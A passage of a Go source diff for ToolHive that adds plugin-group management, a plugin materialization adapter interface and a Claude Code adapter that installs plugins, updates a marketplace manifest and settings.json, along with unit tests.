if p == pluginName { + group.Plugins = append(group.Plugins[:i], group.Plugins[i+1:]...) + modified = true + break + } + } + if modified { + if err := mgr.Update(ctx, group); err != nil { + return fmt.Errorf("updating group %q: %w", group.Name, err) + } + } + } + return nil +} diff --git a/pkg/groups/plugins_test.go b/pkg/groups/plugins_test.go new file mode 100644 index 0000000000..206ec29da1 --- /dev/null +++ b/pkg/groups/plugins_test.go @@ -0,0 +1,190 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package groups_test + +import ( + "context" + "errors" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/mock/gomock" + + . "github.com/stacklok/toolhive/pkg/groups" + groupmocks "github.com/stacklok/toolhive/pkg/groups/mocks" +) + +func TestAddPluginToGroups(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + groupName string + pluginName string + setupMock func(*groupmocks.MockManager) + wantErr string + }{ + { + name: "adds plugin to one group", + groupName: "mygroup", + pluginName: "my-plugin", + setupMock: func(m *groupmocks.MockManager) { + m.EXPECT().Get(gomock.Any(), "mygroup"). + Return(&Group{Name: "mygroup", Plugins: []string{}}, nil) + m.EXPECT().Update(gomock.Any(), &Group{Name: "mygroup", Plugins: []string{"my-plugin"}}). + Return(nil) + }, + }, + { + name: "skips duplicate plugin", + groupName: "mygroup", + pluginName: "my-plugin", + setupMock: func(m *groupmocks.MockManager) { + // Already has the plugin — no Update call expected. + m.EXPECT().Get(gomock.Any(), "mygroup"). + Return(&Group{Name: "mygroup", Plugins: []string{"my-plugin"}}, nil) + }, + }, + { + name: "no-op when group names is empty", + groupName: "", + pluginName: "my-plugin", + setupMock: func(_ *groupmocks.MockManager) {}, + }, + { + name: "returns error when group not found", + groupName: "nonexistent", + pluginName: "my-plugin", + setupMock: func(m *groupmocks.MockManager) { + m.EXPECT().Get(gomock.Any(), "nonexistent"). + Return(nil, errors.New("group not found")) + }, + wantErr: "getting group", + }, + { + name: "returns error when Update fails", + groupName: "mygroup", + pluginName: "my-plugin", + setupMock: func(m *groupmocks.MockManager) { + m.EXPECT().Get(gomock.Any(), "mygroup"). + Return(&Group{Name: "mygroup", Plugins: []string{}}, nil) + m.EXPECT().Update(gomock.Any(), gomock.Any()). + Return(errors.New("disk full")) + }, + wantErr: "updating group", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + ctrl := gomock.NewController(t) + mgr := groupmocks.NewMockManager(ctrl) + tt.setupMock(mgr) + + err := AddPluginToGroup(context.Background(), mgr, tt.groupName, tt.pluginName) + + if tt.wantErr != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantErr) + } else { + require.NoError(t, err) + } + }) + } +} + +func TestRemovePluginFromAllGroups(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + pluginName string + setupMock func(*groupmocks.MockManager) + wantErr string + }{ + { + name: "removes plugin from matching group", + pluginName: "my-plugin", + setupMock: func(m *groupmocks.MockManager) { + m.EXPECT().List(gomock.Any()).Return([]*Group{ + {Name: "mygroup", Plugins: []string{"my-plugin", "other"}}, + }, nil) + m.EXPECT().Update(gomock.Any(), &Group{Name: "mygroup", Plugins: []string{"other"}}). + Return(nil) + }, + }, + { + name: "no-op when plugin is not in any group", + pluginName: "absent-plugin", + setupMock: func(m *groupmocks.MockManager) { + m.EXPECT().List(gomock.Any()).Return([]*Group{ + {Name: "mygroup", Plugins: []string{"some-other-plugin"}}, + }, nil) + // No Update call expected. + }, + }, + { + name: "no-op when no groups exist", + pluginName: "my-plugin", + setupMock: func(m *groupmocks.MockManager) { + m.EXPECT().List(gomock.Any()).Return([]*Group{}, nil) + }, + }, + { + name: "removes plugin from multiple groups", + pluginName: "shared", + setupMock: func(m *groupmocks.MockManager) { + m.EXPECT().List(gomock.Any()).Return([]*Group{ + {Name: "group-a", Plugins: []string{"shared"}}, + {Name: "group-b", Plugins: []string{"shared", "other"}}, + }, nil) + m.EXPECT().Update(gomock.Any(), &Group{Name: "group-a", Plugins: []string{}}). + Return(nil) + m.EXPECT().Update(gomock.Any(), &Group{Name: "group-b", Plugins: []string{"other"}}). + Return(nil) + }, + }, + { + name: "returns error when List fails", + pluginName: "my-plugin", + setupMock: func(m *groupmocks.MockManager) { + m.EXPECT().List(gomock.Any()).Return(nil, errors.New("store error")) + }, + wantErr: "listing groups", + }, + { + name: "returns error when Update fails", + pluginName: "my-plugin", + setupMock: func(m *groupmocks.MockManager) { + m.EXPECT().List(gomock.Any()).Return([]*Group{ + {Name: "mygroup", Plugins: []string{"my-plugin"}}, + }, nil) + m.EXPECT().Update(gomock.Any(), gomock.Any()).Return(errors.New("write error")) + }, + wantErr: "updating group", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + ctrl := gomock.NewController(t) + mgr := groupmocks.NewMockManager(ctrl) + tt.setupMock(mgr) + + err := RemovePluginFromAllGroups(context.Background(), mgr, tt.pluginName) + + if tt.wantErr != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantErr) + } else { + require.NoError(t, err) + } + }) + } +} diff --git a/pkg/plugins/adapter.go b/pkg/plugins/adapter.go new file mode 100644 index 0000000000..47a8fc0d44 --- /dev/null +++ b/pkg/plugins/adapter.go @@ -0,0 +1,114 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package plugins + +import "context" + +//go:generate mockgen -destination=mocks/mock_adapter.go -package=mocks -source=adapter.go MaterializationAdapter + +// ComponentType enumerates plugin component classes. The string values match +// the keys of ociplugins.ComponentInventory (commands/agents/skills/hooks/ +// mcpServers/lspServers). +type ComponentType string + +// Component type constants. The string values match the keys of +// ociplugins.ComponentInventory (commands/agents/skills/hooks/mcpServers/ +// lspServers). +const ( + ComponentCommands ComponentType = "commands" + ComponentAgents ComponentType = "agents" + ComponentSkills ComponentType = "skills" + ComponentHooks ComponentType = "hooks" + ComponentMCP ComponentType = "mcpServers" + ComponentLSP ComponentType = "lspServers" +) + +// MaterializeRequest carries everything an adapter needs to install a plugin +// into a target client's directory layout. +type MaterializeRequest struct { + // Name is the plugin name (kebab-case). + Name string + // LayerData is the OCI tar.gz layer containing the whole plugin tree + // (commands/, agents/, skills/, hooks/, .claude-plugin/). Produced by + // OCI pull or built in-memory from a git clone. + LayerData []byte + // Scope is the installation scope (user or project). + Scope Scope + // ProjectRoot is the project root path for project-scoped installs. + // Empty for user-scoped. + ProjectRoot string + // Components is the plugin's component inventory, used to warn on + // component types the adapter does not materialize (e.g. Codex drops + // commands/agents). + Components ComponentInventory +} + +// DematerializeRequest carries everything an adapter needs to revert a plugin +// installation. It mirrors MaterializeRequest so the two sides of the seam stay +// symmetric — the first client that needs more context to revert cleanly gets it +// without forcing an interface break. +type DematerializeRequest struct { + // Name is the plugin name (kebab-case). + Name string + // Scope is the installation scope (user or project). + Scope Scope + // ProjectRoot is the project root path for project-scoped installs. + // Empty for user-scoped. + ProjectRoot string +} + +// MaterializeResult reports what was written and what was deliberately dropped. +type MaterializeResult struct { + // InstalledComponents lists the component types the adapter materialized. + InstalledComponents []ComponentType + // DroppedComponents lists component types the plugin declares that this + // adapter does NOT materialize. + DroppedComponents []ComponentType + // InstallPath is the root directory the adapter wrote (informational). + InstallPath string + // ProjectScopeDegraded is true when a project-scope install degrades + // because the target client only supports user-scope materialization. + ProjectScopeDegraded bool +} + +// ScopeSupport lets Info report project-scope degradation without re-running +// Materialize. A single client-wide boolean can't express "degrades only for +// these components" or carry a reason, so the descriptor generalizes the former +// DegradesOnProjectScope() bool. +type ScopeSupport struct { + // DegradesOnProjectScope is true when a project-scoped install degrades + // for this client (typically because the adapter mutates a user-scoped + // config file). + DegradesOnProjectScope bool + // Reason is an optional human-readable explanation intended for future + // surfacing via Info (not yet consumed by Info — it currently reads only + // DegradesOnProjectScope). Empty when the client does not degrade. + Reason string +} + +// MaterializationAdapter materializes a plugin into a target client's layout +// and reverts its own mutations. It generalizes skills.PathResolver: instead +// of resolving a single skill path, it owns extraction + (optional) config +// mutation for a multi-component plugin tree, because the materialization +// strategy differs per client (Claude Code = pure filesystem; Codex = FS +// cache + TOML mutation). +type MaterializationAdapter interface { + // Materialize extracts the plugin into the client's directory layout and, + // for config-based clients, mutates the client config. Must be idempotent + // for re-installs under the same (name, scope, projectRoot) — a force + // reinstall overwrites the prior install. + Materialize(ctx context.Context, req MaterializeRequest) (*MaterializeResult, error) + // Dematerialize removes the plugin's filesystem footprint and reverts any + // config mutations the adapter itself made. Must be idempotent: a missing + // install is not an error. + Dematerialize(ctx context.Context, req DematerializeRequest) error + // SupportedComponents returns the component types this adapter loads. + SupportedComponents() []ComponentType + // ScopeSupport reports whether a project-scoped install degrades for this + // client — i.e. the adapter can only materialize at user scope (typically + // because it mutates a user-scoped config file). The returned struct also + // carries an optional reason (not yet consumed by Info). Used by Info to + // surface ProjectScopeDegradedClients without re-running Materialize. + ScopeSupport() ScopeSupport +} diff --git a/pkg/plugins/adapters/claudecode.go b/pkg/plugins/adapters/claudecode.go new file mode 100644 index 0000000000..546ee5ec06 --- /dev/null +++ b/pkg/plugins/adapters/claudecode.go @@ -0,0 +1,486 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +// Package adapters contains MaterializationAdapter implementations for +// each MCP client that supports plugins. +package adapters + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "os" + "path/filepath" + "sort" + "strings" + + "github.com/tailscale/hujson" + + "github.com/stacklok/toolhive/pkg/client" + "github.com/stacklok/toolhive/pkg/fileutils" + "github.com/stacklok/toolhive/pkg/plugins" + "github.com/stacklok/toolhive/pkg/skills" +) + +// ClaudeCodeAdapter materializes plugins into Claude Code's +// ~/.claude/plugins/ directory and registers them in Claude Code's +// settings.json so the plugin is actually loaded. Claude Code loads a plugin via +// a marketplace: a single shared marketplace.json at the plugins root +// (~/.claude/plugins/.claude-plugin/marketplace.json) lists every ToolHive +// plugin, and settings.json carries an extraKnownMarketplaces entry (a +// "directory" source pointing at that root) plus an enabledPlugins entry. +// +// The marketplace manifest and settings source type follow the Claude Code +// plugin marketplace schema: the manifest has top-level name/owner/plugins, each +// plugin's source is a "./" relative path resolved against the marketplace +// root, and the extraKnownMarketplaces source type is "directory". +// See https://code.claude.com/docs/en/plugin-marketplaces. +type ClaudeCodeAdapter struct { + cm *client.ClientManager + installer skills.Installer +} + +// NewClaudeCodeAdapter returns a ClaudeCodeAdapter backed by the given +// ClientManager and a production skills.Installer. +func NewClaudeCodeAdapter(cm *client.ClientManager) *ClaudeCodeAdapter { + return &ClaudeCodeAdapter{ + cm: cm, + installer: skills.NewInstaller(), + } +} + +var claudeCodeSupported = []plugins.ComponentType{ + plugins.ComponentCommands, + plugins.ComponentAgents, + plugins.ComponentSkills, + plugins.ComponentHooks, +} + +// marketplaceName is the marketplace key under which ToolHive-installed +// plugins are declared, both in the shared marketplace.json manifest and in +// settings.json's extraKnownMarketplaces object. +const marketplaceName = "toolhive" + +// Materialize extracts the plugin layer into the Claude Code plugins directory +// and registers it in settings.json so Claude Code loads the plugin. +func (a *ClaudeCodeAdapter) Materialize(_ context.Context, req plugins.MaterializeRequest) (*plugins.MaterializeResult, error) { + dir, err := a.cm.GetPluginPath(client.ClaudeCode, req.Name, req.Scope, req.ProjectRoot) + if err != nil { + return nil, fmt.Errorf("resolving plugin path: %w", err) + } + + if _, err := a.installer.ExtractPlugin(req.LayerData, dir, true); err != nil { + return nil, fmt.Errorf("extracting plugin: %w", err) + } + + // The marketplace root is the plugins parent directory; each plugin lives in + // a "" subdirectory referenced as a "./" source. + marketplaceRoot := filepath.Dir(dir) + + // Upsert the plugin into the shared marketplace.json at the plugins root so + // Claude Code resolves it under the "toolhive" marketplace. + if err := upsertClaudeMarketplace(marketplaceRoot, req.Name); err != nil { + return nil, fmt.Errorf("writing marketplace.json: %w", err) + } + + // Patch settings.json to enable the plugin under the toolhive marketplace. + settingsPath := a.settingsPath(req.Scope, req.ProjectRoot) + if err := enablePluginInSettings(settingsPath, req.Name, marketplaceRoot); err != nil { + return nil, fmt.Errorf("enabling plugin in settings.json: %w", err) + } + + return &plugins.MaterializeResult{ + InstalledComponents: claudeCodeSupported, + DroppedComponents: droppedComponents(req.Components, claudeCodeSupported), + InstallPath: dir, + ProjectScopeDegraded: false, + }, nil +} + +// Dematerialize removes the plugin directory, cleans up empty parents, and +// reverts the settings.json mutations made during Materialize. +func (a *ClaudeCodeAdapter) Dematerialize(_ context.Context, req plugins.DematerializeRequest) error { + dir, err := a.cm.GetPluginPath(client.ClaudeCode, req.Name, req.Scope, req.ProjectRoot) + if err != nil { + return fmt.Errorf("resolving plugin path: %w", err) + } + + if err := a.installer.Remove(dir); err != nil { + return fmt.Errorf("removing plugin directory: %w", err) + } + + // Remove the plugin from the shared marketplace.json (idempotent). Done + // before the empty-parent cleanup so that, once the marketplace file and its + // .claude-plugin directory are gone, cleanup can reclaim the now-empty + // plugins root too. + marketplaceRoot := filepath.Dir(dir) + if err := removeClaudeMarketplace(marketplaceRoot, req.Name); err != nil { + return fmt.Errorf("removing plugin from marketplace.json: %w", err) + } + + // Best-effort empty-parent cleanup. + cleanupAfterRemove(dir, req.Scope, req.ProjectRoot, a.cm.HomeDir()) + + // Revert the settings.json mutations (idempotent). + settingsPath := a.settingsPath(req.Scope, req.ProjectRoot) + if err := disablePluginInSettings(settingsPath, req.Name); err != nil { + return fmt.Errorf("disabling plugin in settings.json: %w", err) + } + + return nil +} + +// SupportedComponents returns the component types Claude Code loads. +func (*ClaudeCodeAdapter) SupportedComponents() []plugins.ComponentType { + return claudeCodeSupported +} + +// ScopeSupport returns false for Claude Code: it supports both user and +// project plugin directories, so a project-scoped install lands in the project +// directory without degradation. +func (*ClaudeCodeAdapter) ScopeSupport() plugins.ScopeSupport { + return plugins.ScopeSupport{DegradesOnProjectScope: false} +} + +// --- settings.json mutation helpers --- + +// settingsPath returns the absolute path to the Claude Code settings.json for +// the given scope: user scope uses /.claude/settings.json, project scope +// uses /.claude/settings.json. +func (a *ClaudeCodeAdapter) settingsPath(scope plugins.Scope, projectRoot string) string { + if scope == plugins.ScopeProject && projectRoot != "" { + return filepath.Join(projectRoot, ".claude", "settings.json") + } + return filepath.Join(a.cm.HomeDir(), ".claude", "settings.json") +} + +// claudeMarketplace is the Claude Code marketplace manifest schema +// (.claude-plugin/marketplace.json): a top-level name, owner, and a list of +// plugin entries. See https://code.claude.com/docs/en/plugin-marketplaces. +type claudeMarketplace struct { + Name string `json:"name"` + Owner claudeMarketplaceOwner `json:"owner"` + Plugins []claudeMarketplacePlugin `json:"plugins"` +} + +// claudeMarketplaceOwner identifies the marketplace maintainer. Claude Code +// requires the owner object with a non-empty name. +type claudeMarketplaceOwner struct { + Name string `json:"name"` +} + +// claudeMarketplacePlugin is a single plugin entry. Source is a "./" +// relative path resolved against the marketplace root (the plugins parent dir). +type claudeMarketplacePlugin struct { + Name string `json:"name"` + Source string `json:"source"` +} + +// claudeMarketplaceOwnerName is the owner name recorded in the manifest. +const claudeMarketplaceOwnerName = "ToolHive" + +// claudeMarketplaceFilePath returns the shared marketplace manifest path for a +// marketplace rooted at marketplaceRoot: /.claude-plugin/marketplace.json. +func claudeMarketplaceFilePath(marketplaceRoot string) string { + return filepath.Join(marketplaceRoot, ".claude-plugin", "marketplace.json") +} + +// upsertClaudeMarketplace adds (or updates) the plugin entry in the shared +// marketplace.json at /.claude-plugin/marketplace.json under a +// file lock. The manifest lists every ToolHive plugin with a "./" source +// resolved against marketplaceRoot, so a single "directory" marketplace serves +// all installed plugins regardless of install/uninstall order. +func upsertClaudeMarketplace(marketplaceRoot, pluginName string) error { + marketplaceFile := claudeMarketplaceFilePath(marketplaceRoot) + if err := os.MkdirAll(filepath.Dir(marketplaceFile), 0o700); err != nil { + return fmt.Errorf("creating marketplace dir: %w", err) + } + return fileutils.WithFileLock(marketplaceFile, func() error { + mp, err := readClaudeMarketplace(marketplaceFile) + if err != nil { + return err + } + entry := claudeMarketplacePlugin{Name: pluginName, Source: "./" + pluginName} + replaced := false + for i := range mp.Plugins { + if mp.Plugins[i].Name == pluginName { + mp.Plugins[i] = entry + replaced = true + break + } + } + if !replaced { + mp.Plugins = append(mp.Plugins, entry) + } + sortClaudeMarketplacePlugins(mp.Plugins) + return writeClaudeMarketplace(marketplaceFile, mp) + }) +} + +// removeClaudeMarketplace removes the plugin entry from the shared +// marketplace.json under a file lock. When no plugins remain, the manifest file +// and its (now-empty) .claude-plugin directory are removed. Idempotent: a +// missing file or missing entry is not an error. +func removeClaudeMarketplace(marketplaceRoot, pluginName string) error { + marketplaceFile := claudeMarketplaceFilePath(marketplaceRoot) + if _, err := os.Stat(marketplaceFile); err != nil { + if errors.Is(err, os.ErrNotExist) { + return nil + } + return fmt.Errorf("checking marketplace file: %w", err) + } + return fileutils.WithFileLock(marketplaceFile, func() error { + mp, err := readClaudeMarketplace(marketplaceFile) + if err != nil { + return err + } + filtered := mp.Plugins[:0] + for _, p := range mp.Plugins { + if p.Name != pluginName { + filtered = append(filtered, p) + } + } + mp.Plugins = filtered + if len(mp.Plugins) == 0 { + if err := os.Remove(marketplaceFile); err != nil && !errors.Is(err, os.ErrNotExist) { + return fmt.Errorf("removing marketplace.json: %w", err) + } + // Best-effort removal of the now-empty .claude-plugin directory. + _ = os.Remove(filepath.Dir(marketplaceFile)) + return nil + } + return writeClaudeMarketplace(marketplaceFile, mp) + }) +} + +// readClaudeMarketplace reads and parses the marketplace manifest, returning a +// freshly-initialized manifest (with name/owner set) when the file is missing +// or empty. +func readClaudeMarketplace(path string) (*claudeMarketplace, error) { + mp := &claudeMarketplace{ + Name: marketplaceName, + Owner: claudeMarketplaceOwner{Name: claudeMarketplaceOwnerName}, + } + data, err := os.ReadFile(path) // #nosec G304 -- path is a known tool config file location + if err != nil { + if errors.Is(err, os.ErrNotExist) { + return mp, nil + } + return nil, fmt.Errorf("reading marketplace.json: %w", err) + } + if len(data) == 0 { + return mp, nil + } + if err := json.Unmarshal(data, mp); err != nil { + return nil, fmt.Errorf("parsing marketplace.json: %w", err) + } + // Ensure required identity fields are set even if a hand-edited file omitted + // them, so the rewritten manifest stays schema-valid. + if mp.Name == "" { + mp.Name = marketplaceName + } + if mp.Owner.Name == "" { + mp.Owner.Name = claudeMarketplaceOwnerName + } + return mp, nil +} + +// writeClaudeMarketplace marshals and atomically writes the marketplace manifest. +func writeClaudeMarketplace(path string, mp *claudeMarketplace) error { + data, err := json.MarshalIndent(mp, "", " ") + if err != nil { + return fmt.Errorf("marshaling marketplace.json: %w", err) + } + return fileutils.AtomicWriteFile(path, data, 0o600) +} + +// sortClaudeMarketplacePlugins orders entries by name for a stable manifest. +func sortClaudeMarketplacePlugins(ps []claudeMarketplacePlugin) { + sort.Slice(ps, func(i, j int) bool { return ps[i].Name < ps[j].Name }) +} + +// enablePluginInSettings patches settings.json under a file lock to add: +// - extraKnownMarketplaces.toolhive = {"source": {"source":"directory","path":}} +// - enabledPlugins["@toolhive"] = true +// +// The marketplace source is a "directory" source pointing at the plugins root +// (the directory containing all installed plugins and the shared +// .claude-plugin/marketplace.json), matching the Claude Code settings schema. +// The toolhive marketplace key is shared across every ToolHive-installed plugin, +// so pointing it at the stable root keeps it valid regardless of +// install/uninstall order. +// +// Unrelated keys are preserved. Comments are dropped on write (hujson +// standardize→mutate→re-parse→format), matching the pattern used by +// pkg/client/llm_gateway.go. +func enablePluginInSettings(settingsPath, pluginName, marketplaceRoot string) error { + if err := os.MkdirAll(filepath.Dir(settingsPath), 0o700); err != nil { + return fmt.Errorf("creating settings dir: %w", err) + } + return fileutils.WithFileLock(settingsPath, func() error { + content, err := readOrInitSettings(settingsPath) + if err != nil { + return err + } + root, err := parseSettings(content, settingsPath) + if err != nil { + return err + } + + // extraKnownMarketplaces.toolhive is a "directory" source pointing at the + // plugins root so the shared marketplace key stays valid regardless of + // install/uninstall order across multiple plugins. + marketplaces := ensureObject(root, "extraKnownMarketplaces") + marketplaces[marketplaceName] = map[string]any{ + "source": map[string]any{ + "source": "directory", + "path": marketplaceRoot, + }, + } + + // enabledPlugins["@toolhive"] = true + enabled := ensureObject(root, "enabledPlugins") + enabled[pluginKey(pluginName)] = true + + return writeSettings(root, settingsPath) + }) +} + +// disablePluginInSettings patches settings.json under a file lock to remove: +// - enabledPlugins["@toolhive"] +// - extraKnownMarketplaces.toolhive, when no remaining "@toolhive" entries +// are enabled. +// +// Idempotent: a missing settings file or missing entry is not an error. +func disablePluginInSettings(settingsPath, pluginName string) error { + // Short-circuit when the settings file doesn't exist so we don't fail + // trying to acquire a lock on a non-existent path's parent directory. + if _, err := os.Stat(settingsPath); err != nil { + if errors.Is(err, os.ErrNotExist) { + return nil + } + return fmt.Errorf("checking settings file: %w", err) + } + return fileutils.WithFileLock(settingsPath, func() error { + content, err := os.ReadFile(settingsPath) // #nosec G304 -- path is a known tool config file location + if err != nil { + if errors.Is(err, os.ErrNotExist) { + return nil + } + return fmt.Errorf("reading %s: %w", settingsPath, err) + } + if len(content) == 0 { + return nil + } + root, err := parseSettings(content, settingsPath) + if err != nil { + return err + } + + // Remove the enabledPlugins entry. + if enabled, ok := root["enabledPlugins"].(map[string]any); ok { + delete(enabled, pluginKey(pluginName)) + if len(enabled) == 0 { + delete(root, "enabledPlugins") + } + } + + // Remove the marketplace entry when no remaining @toolhive plugins + // are enabled. + if !hasEnabledToolhivePlugin(root) { + if marketplaces, ok := root["extraKnownMarketplaces"].(map[string]any); ok { + delete(marketplaces, marketplaceName) + if len(marketplaces) == 0 { + delete(root, "extraKnownMarketplaces") + } + } + } + + return writeSettings(root, settingsPath) + }) +} + +// pluginKey returns the enabledPlugins key for a plugin under the toolhive +// marketplace: "@toolhive". +func pluginKey(pluginName string) string { + return pluginName + "@" + marketplaceName +} + +// hasEnabledToolhivePlugin reports whether any enabledPlugins key ends with +// "@toolhive". +func hasEnabledToolhivePlugin(root map[string]any) bool { + enabled, ok := root["enabledPlugins"].(map[string]any) + if !ok { + return false + } + suffix := "@" + marketplaceName + for k := range enabled { + if strings.HasSuffix(k, suffix) { + return true + } + } + return false +} + +// ensureObject returns the object at root[key], creating it as an empty object +// when missing or of the wrong type. +func ensureObject(root map[string]any, key string) map[string]any { + if existing, ok := root[key].(map[string]any); ok { + return existing + } + m := make(map[string]any) + root[key] = m + return m +} + +// readOrInitSettings reads settingsPath, returning {} when missing or empty. +func readOrInitSettings(path string) ([]byte, error) { + data, err := os.ReadFile(path) // #nosec G304 -- path is a known tool config file location + if err != nil { + if errors.Is(err, os.ErrNotExist) { + return []byte("{}"), nil + } + return nil, fmt.Errorf("reading %s: %w", path, err) + } + if len(data) == 0 { + return []byte("{}"), nil + } + return data, nil +} + +// parseSettings parses hujson/JSONC content into a generic map. hujson is used +// so JSONC (comments, trailing commas) input parses correctly; comments are +// dropped by the subsequent marshal/re-parse cycle in writeSettings. +func parseSettings(content []byte, path string) (map[string]any, error) { + standardized, err := hujson.Standardize(content) + if err != nil { + return nil, fmt.Errorf("standardizing %s: %w", path, err) + } + var root map[string]any + if err := json.Unmarshal(standardized, &root); err != nil { + return nil, fmt.Errorf("parsing %s: %w", path, err) + } + if root == nil { + root = make(map[string]any) + } + return root, nil +} + +// writeSettings marshals root to JSON, re-parses with hujson for formatting, +// and atomically writes it to path. +func writeSettings(root map[string]any, path string) error { + data, err := json.Marshal(root) + if err != nil { + return fmt.Errorf("marshaling %s: %w", path, err) + } + v, err := hujson.Parse(data) + if err != nil { + return fmt.Errorf("re-parsing %s: %w", path, err) + } + formatted, err := hujson.Format(v.Pack()) + if err != nil { + return fmt.Errorf("formatting %s: %w", path, err) + } + return fileutils.AtomicWriteFile(path, formatted, 0o600) +} diff --git a/pkg/plugins/adapters/claudecode_test.go b/pkg/plugins/adapters/claudecode_test.go new file mode 100644 index 0000000000..14b8ae27d0 --- /dev/null +++ b/pkg/plugins/adapters/claudecode_test.go @@ -0,0 +1,551 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package adapters + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + ociskills "github.com/stacklok/toolhive-core/oci/skills" + "github.com/stacklok/toolhive/pkg/client" + "github.com/stacklok/toolhive/pkg/plugins" +) + +// makePluginLayer builds a tar.gz layer from the given file entries, suitable +// for passing as MaterializeRequest.LayerData. Mirrors the fixture helper in +// pkg/skills/installer_test.go. +func makePluginLayer(t *testing.T, files []ociskills.FileEntry) []byte { + t.Helper() + data, err := ociskills.CompressTar(files, ociskills.DefaultTarOptions(), ociskills.DefaultGzipOptions()) + require.NoError(t, err) + return data +} + +// newTestClientManager builds a ClientManager whose home directory is tempHome, +// so plugin paths resolve under the test's temp tree. Uses the production +// client integrations (which include ClaudeCode and Codex with full plugin +// metadata) rooted at tempHome — no process-wide HOME mutation, so tests can +// run in parallel. +func newTestClientManager(t *testing.T, tempHome string) *client.ClientManager { + t.Helper() + return client.NewTestClientManagerWithHome(tempHome) +} + +// userSettingsPath returns /.claude/settings.json. +func userSettingsPath(tempHome string) string { + return filepath.Join(tempHome, ".claude", "settings.json") +} + +// readSettings reads and parses the JSON settings file at path. +func readSettings(t *testing.T, path string) map[string]any { + t.Helper() + b, err := os.ReadFile(path) + require.NoError(t, err, "reading %s", path) + var m map[string]any + require.NoError(t, json.Unmarshal(b, &m), "parsing %s", path) + return m +} + +// requireMarketplaceEntry asserts settings.json has extraKnownMarketplaces.toolhive +// with a "directory" source pointing at the plugins parent directory (the +// directory containing pluginDir). Callers pass the per-plugin directory; the +// expected marketplace path is derived as filepath.Dir(pluginDir). +func requireMarketplaceEntry(t *testing.T, settings map[string]any, pluginDir string) { + t.Helper() + marketplaces, ok := settings["extraKnownMarketplaces"].(map[string]any) + require.True(t, ok, "extraKnownMarketplaces present") + tv, ok := marketplaces["toolhive"].(map[string]any) + require.True(t, ok, "toolhive marketplace entry present") + src, ok := tv["source"].(map[string]any) + require.True(t, ok, "marketplace source object present") + assert.Equal(t, "directory", src["source"], "marketplace source type") + assert.Equal(t, filepath.Dir(pluginDir), src["path"], "marketplace source path") +} + +// readClaudeMarketplaceManifest parses the shared marketplace.json at the +// plugins root (/.claude-plugin/marketplace.json). +func readClaudeMarketplaceManifest(t *testing.T, pluginsRoot string) claudeMarketplace { + t.Helper() + path := filepath.Join(pluginsRoot, ".claude-plugin", "marketplace.json") + b, err := os.ReadFile(path) + require.NoError(t, err, "marketplace.json should exist at %s", path) + var mp claudeMarketplace + require.NoError(t, json.Unmarshal(b, &mp)) + return mp +} + +// requireMarketplacePlugin asserts the manifest lists a plugin with the given +// name and a "./" source. +func requireMarketplacePlugin(t *testing.T, mp claudeMarketplace, name string) { + t.Helper() + assert.Equal(t, "toolhive", mp.Name, "marketplace name") + assert.NotEmpty(t, mp.Owner.Name, "marketplace owner name") + for _, p := range mp.Plugins { + if p.Name == name { + assert.Equal(t, "./"+name, p.Source, "plugin source is a relative ./ path") + return + } + } + t.Fatalf("plugin %q not found in marketplace manifest %+v", name, mp.Plugins) +} + +func TestClaudeCodeAdapter_SupportedComponents(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + got := a.SupportedComponents() + assert.Equal(t, []plugins.ComponentType{ + plugins.ComponentCommands, + plugins.ComponentAgents, + plugins.ComponentSkills, + plugins.ComponentHooks, + }, got) +} + +func TestClaudeCodeAdapter_MaterializeWritesFiles(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "commands/greet.md", Content: []byte("# greet"), Mode: 0644}, + {Path: "skills/useful/SKILL.md", Content: []byte("# useful"), Mode: 0644}, + }) + + res, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "my-plugin", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"commands": 1, "skills": 1}, + }) + require.NoError(t, err) + + // Install path is ~/.claude/plugins/my-plugin. + wantDir := filepath.Join(tempHome, ".claude", "plugins", "my-plugin") + assert.Equal(t, wantDir, res.InstallPath) + + _, err = os.Stat(filepath.Join(wantDir, "commands", "greet.md")) + require.NoError(t, err) + _, err = os.Stat(filepath.Join(wantDir, "skills", "useful", "SKILL.md")) + require.NoError(t, err) + assert.False(t, res.ProjectScopeDegraded) + + // The shared marketplace.json at the plugins root must list the plugin with + // a "./" source and the required top-level name/owner fields. + pluginsRoot := filepath.Dir(wantDir) + _, err = os.Stat(filepath.Join(wantDir, ".claude-plugin", "marketplace.json")) + assert.True(t, os.IsNotExist(err), "no per-plugin marketplace.json should exist") + mp := readClaudeMarketplaceManifest(t, pluginsRoot) + requireMarketplacePlugin(t, mp, "my-plugin") + + // settings.json must register the plugin as enabled under toolhive. + settings := readSettings(t, userSettingsPath(tempHome)) + enabled, ok := settings["enabledPlugins"].(map[string]any) + require.True(t, ok, "enabledPlugins present") + assert.Equal(t, true, enabled["my-plugin@toolhive"], "plugin enabled") + requireMarketplaceEntry(t, settings, wantDir) +} + +func TestClaudeCodeAdapter_ExecutableBitPreserved(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + // Layer includes a hook script committed at 0755 — the exec bit must + // survive extraction to disk (not just in the in-memory FileEntry). + layer := 